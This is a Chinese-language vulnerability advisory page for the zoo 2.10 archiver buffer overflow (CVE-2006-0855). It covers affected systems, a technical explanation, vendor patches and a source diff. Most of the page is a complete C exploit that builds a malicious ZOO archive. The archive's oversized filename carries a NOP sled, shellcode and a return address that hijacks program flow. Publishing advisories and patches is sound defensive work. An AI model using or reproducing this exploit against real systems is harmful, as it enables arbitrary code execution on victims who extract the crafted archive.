安全研究
安全漏洞
zoo misc.c缓冲区溢出漏洞
发布日期:2006-02-23
更新日期:2006-04-04
受影响系统:
Debian Linux 3.1不受影响系统:
Debian Linux 3.0
Barracuda Networks Barracuda Spam Firewall spamdef < 3.0.9388
Barracuda Networks Barracuda Spam Firewall firmware < 3.3.03.022
Rahul Dhesi Zoo 2.10
Barracuda Networks Barracuda Spam Firewall 3.3.03.022描述:
Barracuda Networks Barracuda Spam Firewall 3.0.9388
BUGTRAQ ID: 16790
CVE ID: CVE-2006-0855
zoo是用于维护文件集的文件压缩工具。
zoo在处理文件名时存在缓冲区溢出漏洞,攻击者可能利用此漏洞在机器上执行任意指令。
zoo中的fullpath()/misc.c接受指向目录项的指针并返回组合的目录名和文件名。fullpath()调用combine()/misc.c函数,并假设返回字符串长度不会大于256字节,但事实上该字符串可能大于512字节。
如果字符串事实上大于256字节的话,就会在fullpath()/misc.c函数中溢出静态变量,之后的strcpy()操作中会在栈上256字节的目标缓冲区上使用这个字符串。因此攻击者可以轻易的覆盖EIP,从而控制程序的流程。
<*来源:Jean-Sébastien Guay-Leroux (jean-sebastien@guay-leroux[.]com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114411894100718&w=2
http://www[.]guay-leroux[.]com/projects/zoo-advisory.txt
http://secunia.com/advisories/11510/print/
http://www.debian.org/security/2006/dsa-991
http://security.gentoo.org/glsa/glsa-200603-05.xml
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Copyright (C) 2005 - 2006 Jean-Sébastien Guay-Leroux
This file is part of PIRANA.
PIRANA is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
PIRANA is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with PIRANA; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
/*
Exploit for the vulnerability:
ZOO combine overflow
OSVDB ID: XXXX
coded by Jean-Sébastien Guay-Leroux
December 2005
*/
#include <stdio.h>
// Structure of a ZOO header
#define ZOO_HEADER_SIZE 0x0000002a
#define ZH_TEXT 0
#define ZH_TAG 20
#define ZH_START_OFFSET 24
#define ZH_NEG_START_OFFSET 28
#define ZH_MAJ_VER 32
#define ZH_MIN_VER 33
#define ZH_ARC_HTYPE 34
#define ZH_ARC_COMMENT 35
#define ZH_ARC_COMMENT_LENGTH 39
#define ZH_VERSION_DATA 41
#define D_DIRENTRY_LENGTH 56
#define D_TAG 0
#define D_TYPE 4
#define D_PACKING_METHOD 5
#define D_NEXT_ENTRY 6
#define D_OFFSET 10
#define D_DATE 14
#define D_TIME 16
#define D_FILE_CRC 18
#define D_ORIGINAL_SIZE 20
#define D_SIZE_NOW 24
#define D_MAJ_VER 28
#define D_MIN_VER 29
#define D_DELETED 30
#define D_FILE_STRUCT 31
#define D_COMMENT_OFFSET 32
#define D_COMMENT_SIZE 36
#define D_FILENAME 38
#define D_VAR_DIR_LEN 51
#define D_TIMEZONE 53
#define D_DIR_CRC 54
#define D_NAMLEN ( D_DIRENTRY_LENGTH + 0 )
#define D_DIRLEN ( D_DIRENTRY_LENGTH + 1 )
#define D_LFILENAME ( D_DIRENTRY_LENGTH + 2 )
#define D_DIRNAME ( D_LFILENAME + strlen (poisoned_filename) )
#define DEBUG 0
unsigned char *shellcode1;
put_byte (char *ptr, unsigned char data) {
(unsigned char) *ptr = data;
}
put_word (char *ptr, unsigned short data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
}
put_longword (char *ptr, unsigned long data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
put_byte (ptr + 2, data >> 16);
put_byte (ptr + 3, data >> 24);
}
FILE * open_file (char *filename) {
FILE *fp;
fp = fopen ( filename , "w" );
if (!fp) {
perror ("Cant open file");
exit (-1);
}
return fp;
}
read_shellcode () {
FILE *fd;
int c;
int i = 0;
if ( (fd = fopen ("/tmp/raw", "r")) == NULL) {
perror ("Cant open /tmp/raw");
exit (-1);
}
while ( ((c = fgetc (fd) ) != EOF) && (i < 1024) ) {
shellcode1[i++] = c;
}
shellcode1[i] = 0x00;
if (fclose (fd)) {
perror ("Cant close /tmp/raw");
exit (-1);
}
}
void usage (char *progname) {
printf ("\nTo use:\n");
printf ("%s <offset> <archive name>\n\n", progname);
exit (-1);
}
int main (int argc, char *argv[]) {
FILE *fp;
char *hdr = (char *) malloc (4096);
char *filename = (char *) malloc (256);
char *poisoned_filename = (char *) malloc (4096);
char *poisoned_dirname = (char *) malloc (4096);
unsigned long offset;
int written_bytes;
int total_size;
if ( argc != 3) {
usage ( argv[0] );
}
sscanf (argv[1], "0x%x", &offset);
strncpy (filename, argv[2], 255);
if (!hdr || !filename) {
perror ("Error allocating memory");
exit (-1);
}
if ( !(shellcode1 = (char *) malloc (1024)) ) {
perror ("Error allocating memory");
exit (-1);
}
read_shellcode ();
memset (hdr, 0x01, 4096);
// Build a ZOO header
memcpy (hdr + ZH_TEXT, "ZOO 2.10 Archive.\032", 20);
put_longword (hdr + ZH_TAG, 0xfdc4a7dc);
put_longword (hdr + ZH_START_OFFSET, ZOO_HEADER_SIZE);
put_longword (hdr + ZH_NEG_START_OFFSET, (ZOO_HEADER_SIZE) * -1);
put_byte (hdr + ZH_MAJ_VER, 0x02);
put_byte (hdr + ZH_MIN_VER, 0x00);
put_byte (hdr + ZH_ARC_HTYPE, 0x01);
put_longword (hdr + ZH_ARC_COMMENT, 0x00000000);
put_word (hdr + ZH_ARC_COMMENT_LENGTH, 0x0000);
put_byte (hdr + ZH_VERSION_DATA, 0x03);
// Build vulnerable direntry struct
put_longword (hdr + ZOO_HEADER_SIZE + D_TAG, 0xfdc4a7dc);
put_byte (hdr + ZOO_HEADER_SIZE + D_TYPE, 0x02);
put_byte (hdr + ZOO_HEADER_SIZE + D_PACKING_METHOD, 0x00);
put_longword (hdr + ZOO_HEADER_SIZE + D_NEXT_ENTRY, 0x00000071);
put_longword (hdr + ZOO_HEADER_SIZE + D_OFFSET, 0x00000071);
put_word (hdr + ZOO_HEADER_SIZE + D_DATE, 0x3394);
put_word (hdr + ZOO_HEADER_SIZE + D_TIME, 0x4650);
put_word (hdr + ZOO_HEADER_SIZE + D_FILE_CRC, 0x0000);
put_longword (hdr + ZOO_HEADER_SIZE + D_ORIGINAL_SIZE, 0x00000000);
put_longword (hdr + ZOO_HEADER_SIZE + D_SIZE_NOW, 0x00000000);
put_byte (hdr + ZOO_HEADER_SIZE + D_MAJ_VER, 0x01);
put_byte (hdr + ZOO_HEADER_SIZE + D_MIN_VER, 0x00);
put_byte (hdr + ZOO_HEADER_SIZE + D_DELETED, 0x00);
put_byte (hdr + ZOO_HEADER_SIZE + D_FILE_STRUCT, 0x00);
put_longword (hdr + ZOO_HEADER_SIZE + D_COMMENT_OFFSET, 0x00000000);
put_word (hdr + ZOO_HEADER_SIZE + D_COMMENT_SIZE, 0x0000);
memcpy (hdr + ZOO_HEADER_SIZE + D_FILENAME, "AAAAAAAA.AAA", 13);
put_word (hdr + ZOO_HEADER_SIZE + D_VAR_DIR_LEN, 286);
put_byte (hdr + ZOO_HEADER_SIZE + D_TIMEZONE, 0x13);
put_word (hdr + ZOO_HEADER_SIZE + D_DIR_CRC, 0x1234);
put_byte (hdr + ZOO_HEADER_SIZE + D_NAMLEN, 255);
put_byte (hdr + ZOO_HEADER_SIZE + D_DIRLEN, 32);
memset (poisoned_filename, 0x90, 254);
put_longword (poisoned_filename + 251, offset);
memcpy(poisoned_filename + 251 - strlen (shellcode1), shellcode1, strlen (shellcode1));
memcpy (hdr + ZOO_HEADER_SIZE + D_LFILENAME, poisoned_filename, 255);
memset (poisoned_dirname, 0x42, 32);
memcpy (hdr + ZOO_HEADER_SIZE + D_DIRNAME, poisoned_dirname, strlen (poisoned_dirname) + 1);
total_size = ZOO_HEADER_SIZE + 345;
fp = open_file (filename);
if ( written_bytes = fwrite ( hdr, total_size, 1, fp) ) {
if (DEBUG) printf ("%d bytes have been written to the file\n");
} else {
perror ("Cant write to the file\n");
}
fclose (fp);
if (DEBUG) printf ("0x%x has been used as an offset in the file %s\n", offset, filename);
}
建议:
厂商补丁:
Debian
------
http://www.debian.org/security/2006/dsa-991
Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200603-05)以及相应补丁:
GLSA-200603-05:zoo: Stack-based buffer overflow
链接:http://security.gentoo.org/glsa/glsa-200603-05.xml
所有zoo用户都应升级到最新版本:
# emerge --sync
# emerge --ask --oneshot --verbose ">=app-arch/zoo-2.10-r1"
Barracuda Networks
------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.barracudanetworks.com/ns/products/spam_overview.php
Jean-Sébastien Guay-Leroux提供了以下补丁:
diff -u -r -r zoo-2.10.old/misc.c zoo-2.10.orig/misc.c
--- zoo-2.10.old/misc.c 1991-07-05 12:00:00.000000000 -0400
+++ zoo-2.10.orig/misc.c 2006-01-29 17:20:35.000000000 -0500
@@ -135,11 +135,16 @@
char *fullpath (direntry)
struct direntry *direntry;
{
- static char result[PATHSIZE];
+ static char result[PATHSIZE+PATHSIZE+12]; // Room for enough space
combine (result,
direntry->dirlen != 0 ? direntry->dirname : "",
(direntry->namlen != 0) ? direntry->lfname :
direntry->fname
);
+
+ if (strlen (result) >= PATHSIZE) {
+ prterror ('f', "Combined dirname and filename too long\n");
+ }
+
return (result);
}
浏览次数:3222
严重程度:0(网友投票)
绿盟科技给您安全的保障